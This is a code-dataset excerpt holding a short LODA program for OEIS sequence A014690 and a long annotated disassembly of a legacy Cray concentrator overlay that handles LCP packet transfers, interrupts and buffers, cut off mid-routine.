text stringlengths 1 1.05M |
|---|
; A014690: a(n) = n + prime(n+1).
; 4,7,10,15,18,23,26,31,38,41,48,53,56,61,68,75,78,85,90,93,100,105,112,121,126,129,134,137,142,157,162,169,172,183,186,193,200,205,212,219,222,233,236,241,244,257,270,275,278,283,290,293,304,311,318,325,328
mov $1,$0
seq $1,98090 ; Numbers k such that 2k-3 is prime.
add $0,$1
add $0,$1
sub $0,2
|
@@@@@@@@@@@@@@@@@@@@
@@ Gets loaded to 0x6150 (0x6156) 0x668b
@@ Input: none????
@@ OR[257]: pointer to some kind of a 'concentrator ordinal' desc.
@@ offset 0: some bit-field
@@ bit 15 - 1: concentrator active
@@ bit 14 - 1: initialization in progress
@@ bit 13 - 1: termination in progress
@@ bit 12 - 1: channel disabled
@@ bit 11 - 1:
@@ bit 10 - 1:
@@ bit 9 - 1:
@@ bit 8 - 1:
@@ bit 7...0: ???????? should be 30 (0x1e) ??????
@@ offset 1: lower byte: CI channel number
@@ offset 2: local buffer address (68 WORDs long) - see CONCIO for details of how this is layed out
@@ offset 3:
@@ offset 4:
@@ offset 5:
@@ offset 6:
@@
@@ OR[280]: points to buffer offset 0 - LCP receive buffer
@@ OR[281]: points to buffer offset 24 - LCP transmit buffer
@@ OR[282]: points to buffer offset 63
@@ OR[284]: error code
@@
@@ OR[256]: some buffer
@@ offset 0: 24 parcel long LCP receive buffer
@@ offset 24: 24 parcel long LCP transmit buffer
@@ offset 60: seem to point to some linked list, containing entries for connected stations. Each entry seems to be something like this - these I call station descriptors
@@ Interestingly it points to offset 2 instead of offset 0 into this structure
@@ Each entry is 46 words long
@@ offset 0: Station ID string
@@ offset 1:
@@ bit 14 - 1:
@@ offset 2: Pointer to next entry, or NULL if last entry
@@ offset 3: Pointer to the prev entry
@@ offset 44: 24???
@@ offset 45:
@@ offset 61: tail of the same list?
@@ offset 62:
@@ bit-15: 1 - pending LSP read
@@ lower byte: stage
@@ offset 63:
@@ OR[258]: CI Channel number
@@ OR[299]: internal 2k buffer
@@ OR[300]: internal 2k buffer
@@
@@
@@ LCP setup:
@@ offset 1: station ID string
@@ offset 2: upper byte: current transfer length?
@@ offset 3: 0 - logon; non-0 - log-off
@@ offset 6,7 : bits 19...4 might contain the total transfer length??
0x0000 (0x000000) 0x2100- f:00020 d: 256 | A = OR[256]
0x0001 (0x000002) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000)
0x0002 (0x000004) 0x2918- f:00024 d: 280 | OR[280] = A
0x0003 (0x000006) 0x2100- f:00020 d: 256 | A = OR[256]
0x0004 (0x000008) 0x1418- f:00012 d: 24 | A = A + 24 (0x0018)
0x0005 (0x00000A) 0x2919- f:00024 d: 281 | OR[281] = A
0x0006 (0x00000C) 0x2100- f:00020 d: 256 | A = OR[256]
0x0007 (0x00000E) 0x143F- f:00012 d: 63 | A = A + 63 (0x003F)
0x0008 (0x000010) 0x291A- f:00024 d: 282 | OR[282] = A
0x0009 (0x000012) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x000A (0x000014) 0x291B- f:00024 d: 283 | OR[283] = A
0x000B (0x000016) 0x291C- f:00024 d: 284 | OR[284] = A
0x000C (0x000018) 0x291E- f:00024 d: 286 | OR[286] = A
0x000D (0x00001A) 0x2924- f:00024 d: 292 | OR[292] = A
0x000E (0x00001C) 0x2926- f:00024 d: 294 | OR[294] = A
0x000F (0x00001E) 0x292B- f:00024 d: 299 | OR[299] = A
0x0010 (0x000020) 0x292C- f:00024 d: 300 | OR[300] = A
0x0011 (0x000022) 0x2930- f:00024 d: 304 | OR[304] = A
0x0012 (0x000024) 0x2937- f:00024 d: 311 | OR[311] = A
0x0013 (0x000026) 0x2938- f:00024 d: 312 | OR[312] = A
0x0014 (0x000028) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0015 (0x00002A) 0x2939- f:00024 d: 313 | OR[313] = A
0x0016 (0x00002C) 0x1018- f:00010 d: 24 | A = 24 (0x0018) @ Packet size: 24 parcels
0x0017 (0x00002E) 0x2925- f:00024 d: 293 | OR[293] = A
0x0018 (0x000030) 0x1800-0xFFF9 f:00014 d: 0 | A = 65529 (0xFFF9) @ Sending a packet
0x001A (0x000034) 0x292D- f:00024 d: 301 | OR[301] = A
0x001B (0x000036) 0x2119- f:00020 d: 281 | A = OR[281] @ Packet address is at buffer offset 24
0x001C (0x000038) 0x292E- f:00024 d: 302 | OR[302] = A
0x001D (0x00003A) 0x212E- f:00020 d: 302 | A = OR[302] @ Set upper byte of message offset 3 to 5 (leaving the rest of the message intact)
0x001E (0x00003C) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x001F (0x00003E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0020 (0x000040) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0021 (0x000042) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x0022 (0x000044) 0x1405- f:00012 d: 5 | A = A + 5 (0x0005)
0x0023 (0x000046) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0024 (0x000048) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0025 (0x00004A) 0x7E03-0x0514 f:00077 d: 3 | R = OR[3]+1300 (0x0514) @ Transmit LCP packet
0x0027 (0x00004E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) @ Reset OR[304] (it's set to 1 by the send routine)
0x0028 (0x000050) 0x2930- f:00024 d: 304 | OR[304] = A
0x0029 (0x000052) 0x1018- f:00010 d: 24 | A = 24 (0x0018) @ Packet size: 24 parcels
0x002A (0x000054) 0x2925- f:00024 d: 293 | OR[293] = A
0x002B (0x000056) 0x1800-0xFFF8 f:00014 d: 0 | A = 65528 (0xFFF8) @ Receive a packet
0x002D (0x00005A) 0x292D- f:00024 d: 301 | OR[301] = A
0x002E (0x00005C) 0x2118- f:00020 d: 280 | A = OR[280] @ Packet address is at buffer offset 0
0x002F (0x00005E) 0x292E- f:00024 d: 302 | OR[302] = A
0x0030 (0x000060) 0x7E03-0x0514 f:00077 d: 3 | R = OR[3]+1300 (0x0514) @ Receive LCP packet
0x0032 (0x000064) 0x2100- f:00020 d: 256 | A = OR[256] @ Set buffer offset 62, lower byte to 2
0x0033 (0x000066) 0x143E- f:00012 d: 62 | A = A + 62 (0x003E)
0x0034 (0x000068) 0x2908- f:00024 d: 264 | OR[264] = A
0x0035 (0x00006A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0036 (0x00006C) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0038 (0x000070) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0039 (0x000072) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x003A (0x000074) 0x1000- f:00010 d: 0 | A = 0 (0x0000) @ Zero out OR[284] (already 0)????
0x003B (0x000076) 0x291C- f:00024 d: 284 | OR[284] = A
@ Wait until OR[284] is non-0
0x003C (0x000078) 0x211C- f:00020 d: 284 | A = OR[284] @ OR[284] will get it's new value from buffer offset 63, that gets incremented in the interrupt handler.
0x003D (0x00007A) 0x860D- f:00103 d: 13 | P = P + 13 (0x004A), A # 0
0x003E (0x00007C) 0x0400- f:00002 d: 0 | I = 0
0x003F (0x00007E) 0x0000- f:00000 d: 0 | PASS
0x0040 (0x000080) 0x7E03-0x05C2 f:00077 d: 3 | R = OR[3]+1474 (0x05C2) @ Wait for CI/CO interrupt; Input: OR[282]: points to buffer offset 63; Return: OR[284]: old value of buffer offset 63 (offset 63 gets zeroed out); A: 0 if timed out waiting for interrupt
0x0042 (0x000084) 0x0600- f:00003 d: 0 | I = 1
0x0043 (0x000086) 0x3101- f:00030 d: 257 | A = (OR[257]) @ Bail if 'termination in progress'
0x0044 (0x000088) 0x080D- f:00004 d: 13 | A = A > 13 (0x000D)
0x0045 (0x00008A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0046 (0x00008C) 0x291B- f:00024 d: 283 | OR[283] = A
0x0047 (0x00008E) 0xAE03-0x04B8 f:00127 d: 3 | P = OR[3]+1208 (0x04B8), A # 0
0x0049 (0x000092) 0x720D- f:00071 d: 13 | P = P - 13 (0x003C)
@ I think we should get here when the transfers complete, but who knows???
0x004A (0x000094) 0x2100- f:00020 d: 256 | A = OR[256] @ Set buffer offset 62, lower byte to 3
0x004B (0x000096) 0x143E- f:00012 d: 62 | A = A + 62 (0x003E)
0x004C (0x000098) 0x2908- f:00024 d: 264 | OR[264] = A
0x004D (0x00009A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x004E (0x00009C) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0050 (0x0000A0) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0051 (0x0000A2) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0052 (0x0000A4) 0x7E03-0x053D f:00077 d: 3 | R = OR[3]+1341 (0x053D) @ Test transfer completed, update OR[284] - the error code
0x0054 (0x0000A8) 0x211C- f:00020 d: 284 | A = OR[284] @ Test for channel error (which the previous routine will never set)
0x0055 (0x0000AA) 0x1E00-0x004B f:00017 d: 0 | A = A - 75 (0x004B)
0x0057 (0x0000AE) 0x8406- f:00102 d: 6 | P = P + 6 (0x005D), A = 0
0x0058 (0x0000B0) 0x211C- f:00020 d: 284 | A = OR[284] @ Test for transfer length error (which is what the previous routine sets)
0x0059 (0x0000B2) 0x1E00-0x002C f:00017 d: 0 | A = A - 44 (0x002C)
0x005B (0x0000B6) 0x8402- f:00102 d: 2 | P = P + 2 (0x005D), A = 0
0x005C (0x0000B8) 0x7003- f:00070 d: 3 | P = P + 3 (0x005F)
0x005D (0x0000BA) 0x7A03-0x057B f:00075 d: 3 | P = OR[3]+1403 (0x057B) @ Print error message in OR[284]
@ Transfer was OK
0x005F (0x0000BE) 0x1028- f:00010 d: 40 | A = 40 (0x0028) @ Call overlay CONCID - Concentrator ID handler
0x0060 (0x0000C0) 0x293A- f:00024 d: 314 | OR[314] = A
0x0061 (0x0000C2) 0x1800-0x00F8 f:00014 d: 0 | A = 248 (0x00F8)
0x0063 (0x0000C6) 0x293B- f:00024 d: 315 | OR[315] = A
0x0064 (0x0000C8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0065 (0x0000CA) 0x293C- f:00024 d: 316 | OR[316] = A
0x0066 (0x0000CC) 0x1017- f:00010 d: 23 | A = 23 (0x0017) @ Output parameter: OR[268+23] = OR[291] - the station descriptor
0x0067 (0x0000CE) 0x293D- f:00024 d: 317 | OR[317] = A
0x0068 (0x0000D0) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x0069 (0x0000D2) 0x5800- f:00054 d: 0 | B = A
0x006A (0x0000D4) 0x1800-0x4518 f:00014 d: 0 | A = 17688 (0x4518)
0x006C (0x0000D8) 0x7C09- f:00076 d: 9 | R = OR[9]
0x006D (0x0000DA) 0x291D- f:00024 d: 285 | OR[285] = A
0x006E (0x0000DC) 0x2123- f:00020 d: 291 | A = OR[291] @ Test if ID is non-0
0x006F (0x0000DE) 0x8402- f:00102 d: 2 | P = P + 2 (0x0071), A = 0
0x0070 (0x0000E0) 0x7006- f:00070 d: 6 | P = P + 6 (0x0076)
0x0071 (0x0000E2) 0x1800-0x0050 f:00014 d: 0 | A = 80 (0x0050) @ Set error code 80 and print error message: 'received a bad input LCP'
0x0073 (0x0000E6) 0x291C- f:00024 d: 284 | OR[284] = A
0x0074 (0x0000E8) 0x7A03-0x057B f:00075 d: 3 | P = OR[3]+1403 (0x057B) @ Print error message
@ So returned value from CONCID is non-0
0x0076 (0x0000EC) 0x2123- f:00020 d: 291 | A = OR[291]
0x0077 (0x0000EE) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x0078 (0x0000F0) 0x2922- f:00024 d: 290 | OR[290] = A
0x0079 (0x0000F2) 0x2122- f:00020 d: 290 | A = OR[290]
0x007A (0x0000F4) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x007B (0x0000F6) 0x2908- f:00024 d: 264 | OR[264] = A
0x007C (0x0000F8) 0x3108- f:00030 d: 264 | A = (OR[264])
0x007D (0x0000FA) 0x0E06- f:00007 d: 6 | A = A << 6 (0x0006)
0x007E (0x0000FC) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x007F (0x0000FE) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0080 (0x000100) 0x0C07- f:00006 d: 7 | A = A >> 7 (0x0007)
0x0081 (0x000102) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0082 (0x000104) 0x2122- f:00020 d: 290 | A = OR[290]
0x0083 (0x000106) 0x140C- f:00012 d: 12 | A = A + 12 (0x000C)
0x0084 (0x000108) 0x2908- f:00024 d: 264 | OR[264] = A
0x0085 (0x00010A) 0x2102- f:00020 d: 258 | A = OR[258]
0x0086 (0x00010C) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0087 (0x00010E) 0x2123- f:00020 d: 291 | A = OR[291]
0x0088 (0x000110) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0089 (0x000112) 0x2908- f:00024 d: 264 | OR[264] = A
0x008A (0x000114) 0x3108- f:00030 d: 264 | A = (OR[264])
0x008B (0x000116) 0x080D- f:00004 d: 13 | A = A > 13 (0x000D)
0x008C (0x000118) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x008D (0x00011A) 0x291E- f:00024 d: 286 | OR[286] = A
0x008E (0x00011C) 0x211E- f:00020 d: 286 | A = OR[286]
0x008F (0x00011E) 0x8602- f:00103 d: 2 | P = P + 2 (0x0091), A # 0
0x0090 (0x000120) 0x7004- f:00070 d: 4 | P = P + 4 (0x0094)
0x0091 (0x000122) 0x2100- f:00020 d: 256 | A = OR[256]
0x0092 (0x000124) 0x1430- f:00012 d: 48 | A = A + 48 (0x0030)
0x0093 (0x000126) 0x291E- f:00024 d: 286 | OR[286] = A
0x0094 (0x000128) 0x2123- f:00020 d: 291 | A = OR[291]
0x0095 (0x00012A) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0096 (0x00012C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0097 (0x00012E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0098 (0x000130) 0x080C- f:00004 d: 12 | A = A > 12 (0x000C)
0x0099 (0x000132) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x009A (0x000134) 0x2935- f:00024 d: 309 | OR[309] = A
0x009B (0x000136) 0x2135- f:00020 d: 309 | A = OR[309]
0x009C (0x000138) 0x8602- f:00103 d: 2 | P = P + 2 (0x009E), A # 0
0x009D (0x00013A) 0x7021- f:00070 d: 33 | P = P + 33 (0x00BE)
0x009E (0x00013C) 0x211D- f:00020 d: 285 | A = OR[285]
0x009F (0x00013E) 0x8602- f:00103 d: 2 | P = P + 2 (0x00A1), A # 0
0x00A0 (0x000140) 0x7004- f:00070 d: 4 | P = P + 4 (0x00A4)
0x00A1 (0x000142) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x00A2 (0x000144) 0x292F- f:00024 d: 303 | OR[303] = A
0x00A3 (0x000146) 0x701A- f:00070 d: 26 | P = P + 26 (0x00BD)
0x00A4 (0x000148) 0x2118- f:00020 d: 280 | A = OR[280] @ Read input LCP offset 6 into OR[307]
0x00A5 (0x00014A) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x00A6 (0x00014C) 0x2908- f:00024 d: 264 | OR[264] = A
0x00A7 (0x00014E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00A8 (0x000150) 0x2933- f:00024 d: 307 | OR[307] = A
0x00A9 (0x000152) 0x2118- f:00020 d: 280 | A = OR[280] @ Read input LCP offset 7 into OR[303]
0x00AA (0x000154) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007)
0x00AB (0x000156) 0x2908- f:00024 d: 264 | OR[264] = A
0x00AC (0x000158) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00AD (0x00015A) 0x292F- f:00024 d: 303 | OR[303] = A
0x00AE (0x00015C) 0x1010- f:00010 d: 16 | A = 16 (0x0010) @ Put lowest nibble of OR[307] into highest nibble of OR[269]
0x00AF (0x00015E) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004)
0x00B0 (0x000160) 0x5800- f:00054 d: 0 | B = A
0x00B1 (0x000162) 0x2133- f:00020 d: 307 | A = OR[307]
0x00B2 (0x000164) 0x4A00- f:00045 d: 0 | A = A < B
0x00B3 (0x000166) 0x290D- f:00024 d: 269 | OR[269] = A
0x00B4 (0x000168) 0x1004- f:00010 d: 4 | A = 4 (0x0004) @ Shift OR[307] down by 4 (divide by 16)
0x00B5 (0x00016A) 0x5800- f:00054 d: 0 | B = A
0x00B6 (0x00016C) 0x2133- f:00020 d: 307 | A = OR[307]
0x00B7 (0x00016E) 0x4800- f:00044 d: 0 | A = A > B
0x00B8 (0x000170) 0x2933- f:00024 d: 307 | OR[307] = A
0x00B9 (0x000172) 0x212F- f:00020 d: 303 | A = OR[303] @ Shift OR[303] down by 4 (divide by 16)
0x00BA (0x000174) 0x4800- f:00044 d: 0 | A = A > B
0x00BB (0x000176) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x00BC (0x000178) 0x292F- f:00024 d: 303 | OR[303] = A
0x00BD (0x00017A) 0x7006- f:00070 d: 6 | P = P + 6 (0x00C3)
0x00BE (0x00017C) 0x2123- f:00020 d: 291 | A = OR[291]
0x00BF (0x00017E) 0x142C- f:00012 d: 44 | A = A + 44 (0x002C)
0x00C0 (0x000180) 0x2908- f:00024 d: 264 | OR[264] = A
0x00C1 (0x000182) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00C2 (0x000184) 0x292F- f:00024 d: 303 | OR[303] = A
0x00C3 (0x000186) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00C4 (0x000188) 0x2927- f:00024 d: 295 | OR[295] = A
0x00C5 (0x00018A) 0x2118- f:00020 d: 280 | A = OR[280] @ Read LCP offset 2, upper byte into OR[287]
0x00C6 (0x00018C) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x00C7 (0x00018E) 0x2908- f:00024 d: 264 | OR[264] = A
0x00C8 (0x000190) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00C9 (0x000192) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x00CA (0x000194) 0x291F- f:00024 d: 287 | OR[287] = A
0x00CB (0x000196) 0x211F- f:00020 d: 287 | A = OR[287]
0x00CC (0x000198) 0x251E- f:00022 d: 286 | A = A + OR[286]
0x00CD (0x00019A) 0x2908- f:00024 d: 264 | OR[264] = A
0x00CE (0x00019C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00CF (0x00019E) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x00D0 (0x0001A0) 0x8602- f:00103 d: 2 | P = P + 2 (0x00D2), A # 0
0x00D1 (0x0001A2) 0x7035- f:00070 d: 53 | P = P + 53 (0x0106)
0x00D2 (0x0001A4) 0x211F- f:00020 d: 287 | A = OR[287]
0x00D3 (0x0001A6) 0x8602- f:00103 d: 2 | P = P + 2 (0x00D5), A # 0
0x00D4 (0x0001A8) 0x702A- f:00070 d: 42 | P = P + 42 (0x00FE)
0x00D5 (0x0001AA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D6 (0x0001AC) 0x272B- f:00023 d: 299 | A = A - OR[299]
0x00D7 (0x0001AE) 0x8402- f:00102 d: 2 | P = P + 2 (0x00D9), A = 0
0x00D8 (0x0001B0) 0x7004- f:00070 d: 4 | P = P + 4 (0x00DC)
0x00D9 (0x0001B2) 0x7E03-0x05E0 f:00077 d: 3 | R = OR[3]+1504 (0x05E0) @ Allocate 2k buffer into OR[299]
0x00DB (0x0001B6) 0x292B- f:00024 d: 299 | OR[299] = A
0x00DC (0x0001B8) 0x212B- f:00020 d: 299 | A = OR[299]
0x00DD (0x0001BA) 0x292E- f:00024 d: 302 | OR[302] = A
0x00DE (0x0001BC) 0x211F- f:00020 d: 287 | A = OR[287]
0x00DF (0x0001BE) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x00E0 (0x0001C0) 0x8003- f:00100 d: 3 | P = P + 3 (0x00E3), C = 0
0x00E1 (0x0001C2) 0x8402- f:00102 d: 2 | P = P + 2 (0x00E3), A = 0
0x00E2 (0x0001C4) 0x7009- f:00070 d: 9 | P = P + 9 (0x00EB)
0x00E3 (0x0001C6) 0x212F- f:00020 d: 303 | A = OR[303]
0x00E4 (0x0001C8) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x00E5 (0x0001CA) 0x2908- f:00024 d: 264 | OR[264] = A
0x00E6 (0x0001CC) 0x1800-0x0800 f:00014 d: 0 | A = 2048 (0x0800)
0x00E8 (0x0001D0) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x00E9 (0x0001D2) 0x8002- f:00100 d: 2 | P = P + 2 (0x00EB), C = 0
0x00EA (0x0001D4) 0x700A- f:00070 d: 10 | P = P + 10 (0x00F4)
0x00EB (0x0001D6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00EC (0x0001D8) 0x272C- f:00023 d: 300 | A = A - OR[300]
0x00ED (0x0001DA) 0x8402- f:00102 d: 2 | P = P + 2 (0x00EF), A = 0
0x00EE (0x0001DC) 0x7004- f:00070 d: 4 | P = P + 4 (0x00F2)
0x00EF (0x0001DE) 0x7E03-0x05E0 f:00077 d: 3 | R = OR[3]+1504 (0x05E0) @ Allocate 2k buffer into OR[300]
0x00F1 (0x0001E2) 0x292C- f:00024 d: 300 | OR[300] = A
0x00F2 (0x0001E4) 0x212C- f:00020 d: 300 | A = OR[300]
0x00F3 (0x0001E6) 0x2924- f:00024 d: 292 | OR[292] = A
0x00F4 (0x0001E8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00F5 (0x0001EA) 0x291C- f:00024 d: 284 | OR[284] = A
0x00F6 (0x0001EC) 0x212F- f:00020 d: 303 | A = OR[303]
0x00F7 (0x0001EE) 0x2920- f:00024 d: 288 | OR[288] = A
0x00F8 (0x0001F0) 0x7E03-0x05FC f:00077 d: 3 | R = OR[3]+1532 (0x05FC)
0x00FA (0x0001F4) 0x2120- f:00020 d: 288 | A = OR[288]
0x00FB (0x0001F6) 0x2725- f:00023 d: 293 | A = A - OR[293]
0x00FC (0x0001F8) 0x2920- f:00024 d: 288 | OR[288] = A
0x00FD (0x0001FA) 0x7005- f:00070 d: 5 | P = P + 5 (0x0102)
0x00FE (0x0001FC) 0x100C- f:00010 d: 12 | A = 12 (0x000C)
0x00FF (0x0001FE) 0x2925- f:00024 d: 293 | OR[293] = A
0x0100 (0x000200) 0x211E- f:00020 d: 286 | A = OR[286]
0x0101 (0x000202) 0x292E- f:00024 d: 302 | OR[302] = A
0x0102 (0x000204) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0103 (0x000206) 0x2927- f:00024 d: 295 | OR[295] = A
0x0104 (0x000208) 0x7E03-0x0514 f:00077 d: 3 | R = OR[3]+1300 (0x0514) @ Start concentrator data transfer
0x0106 (0x00020C) 0x2122- f:00020 d: 290 | A = OR[290]
0x0107 (0x00020E) 0x1416- f:00012 d: 22 | A = A + 22 (0x0016)
0x0108 (0x000210) 0x2908- f:00024 d: 264 | OR[264] = A
0x0109 (0x000212) 0x3108- f:00030 d: 264 | A = (OR[264])
0x010A (0x000214) 0x2928- f:00024 d: 296 | OR[296] = A
0x010B (0x000216) 0x2122- f:00020 d: 290 | A = OR[290]
0x010C (0x000218) 0x1417- f:00012 d: 23 | A = A + 23 (0x0017)
0x010D (0x00021A) 0x2908- f:00024 d: 264 | OR[264] = A
0x010E (0x00021C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x010F (0x00021E) 0x2929- f:00024 d: 297 | OR[297] = A
0x0110 (0x000220) 0x2128- f:00020 d: 296 | A = OR[296]
0x0111 (0x000222) 0x2529- f:00022 d: 297 | A = A + OR[297]
0x0112 (0x000224) 0x2908- f:00024 d: 264 | OR[264] = A
0x0113 (0x000226) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0114 (0x000228) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0115 (0x00022A) 0x8404- f:00102 d: 4 | P = P + 4 (0x0119), A = 0
0x0116 (0x00022C) 0x211D- f:00020 d: 285 | A = OR[285]
0x0117 (0x00022E) 0x8602- f:00103 d: 2 | P = P + 2 (0x0119), A # 0
0x0118 (0x000230) 0x7061- f:00070 d: 97 | P = P + 97 (0x0179)
@ Call runtime manager function 36
0x0119 (0x000232) 0x1024- f:00010 d: 36 | A = 36 (0x0024)
0x011A (0x000234) 0x293A- f:00024 d: 314 | OR[314] = A
0x011B (0x000236) 0x2122- f:00020 d: 290 | A = OR[290]
0x011C (0x000238) 0x293B- f:00024 d: 315 | OR[315] = A
0x011D (0x00023A) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x011E (0x00023C) 0x5800- f:00054 d: 0 | B = A
0x011F (0x00023E) 0x1800-0x4518 f:00014 d: 0 | A = 17688 (0x4518)
0x0121 (0x000242) 0x7C09- f:00076 d: 9 | R = OR[9] @ This is at 9x400b
0x0122 (0x000244) 0x2006- f:00020 d: 6 | A = OR[6] @ Read context queue entry into OR[306]
0x0123 (0x000246) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x0124 (0x000248) 0x2908- f:00024 d: 264 | OR[264] = A
0x0125 (0x00024A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0126 (0x00024C) 0x2932- f:00024 d: 306 | OR[306] = A
0x0127 (0x00024E) 0x2122- f:00020 d: 290 | A = OR[290]
0x0128 (0x000250) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x0129 (0x000252) 0x2908- f:00024 d: 264 | OR[264] = A
0x012A (0x000254) 0x3108- f:00030 d: 264 | A = (OR[264])
0x012B (0x000256) 0x2921- f:00024 d: 289 | OR[289] = A
0x012C (0x000258) 0x2132- f:00020 d: 306 | A = OR[306]
0x012D (0x00025A) 0x8402- f:00102 d: 2 | P = P + 2 (0x012F), A = 0
0x012E (0x00025C) 0x701A- f:00070 d: 26 | P = P + 26 (0x0148) @ Test POLL reply?
0x012F (0x00025E) 0x2121- f:00020 d: 289 | A = OR[289]
0x0130 (0x000260) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x0131 (0x000262) 0x290D- f:00024 d: 269 | OR[269] = A
0x0132 (0x000264) 0x2122- f:00020 d: 290 | A = OR[290]
0x0133 (0x000266) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x0134 (0x000268) 0x290E- f:00024 d: 270 | OR[270] = A
0x0135 (0x00026A) 0x1016- f:00010 d: 22 | A = 22 (0x0016)
0x0136 (0x00026C) 0x290F- f:00024 d: 271 | OR[271] = A
0x0137 (0x00026E) 0x7006- f:00070 d: 6 | P = P + 6 (0x013D)
0x0138 (0x000270) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0139 (0x000272) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x013A (0x000274) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x013B (0x000276) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x013C (0x000278) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x013D (0x00027A) 0x210F- f:00020 d: 271 | A = OR[271]
0x013E (0x00027C) 0x8E06- f:00107 d: 6 | P = P - 6 (0x0138), A # 0
@ Call runtime manager function 23
0x013F (0x00027E) 0x1017- f:00010 d: 23 | A = 23 (0x0017)
0x0140 (0x000280) 0x293A- f:00024 d: 314 | OR[314] = A
0x0141 (0x000282) 0x2121- f:00020 d: 289 | A = OR[289]
0x0142 (0x000284) 0x293B- f:00024 d: 315 | OR[315] = A
0x0143 (0x000286) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x0144 (0x000288) 0x5800- f:00054 d: 0 | B = A
0x0145 (0x00028A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0146 (0x00028C) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0147 (0x00028E) 0x7018- f:00070 d: 24 | P = P + 24 (0x015F)
@ Processing a POLL reply?
0x0148 (0x000290) 0x2132- f:00020 d: 306 | A = OR[306]
0x0149 (0x000292) 0x1E00-0x0044 f:00017 d: 0 | A = A - 68 (0x0044)
0x014B (0x000296) 0x8602- f:00103 d: 2 | P = P + 2 (0x014D), A # 0
0x014C (0x000298) 0x700E- f:00070 d: 14 | P = P + 14 (0x015A)
0x014D (0x00029A) 0x2132- f:00020 d: 306 | A = OR[306]
0x014E (0x00029C) 0x1E00-0x0034 f:00017 d: 0 | A = A - 52 (0x0034)
0x0150 (0x0002A0) 0x8602- f:00103 d: 2 | P = P + 2 (0x0152), A # 0
0x0151 (0x0002A2) 0x7009- f:00070 d: 9 | P = P + 9 (0x015A)
@ Call runtime manager function 23
0x0152 (0x0002A4) 0x1017- f:00010 d: 23 | A = 23 (0x0017)
0x0153 (0x0002A6) 0x293A- f:00024 d: 314 | OR[314] = A
0x0154 (0x0002A8) 0x2121- f:00020 d: 289 | A = OR[289]
0x0155 (0x0002AA) 0x293B- f:00024 d: 315 | OR[315] = A
0x0156 (0x0002AC) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x0157 (0x0002AE) 0x5800- f:00054 d: 0 | B = A
0x0158 (0x0002B0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0159 (0x0002B2) 0x7C09- f:00076 d: 9 | R = OR[9]
0x015A (0x0002B4) 0x1800-0x002A f:00014 d: 0 | A = 42 (0x002A) @ Print error message 42 'Cray POLL error'
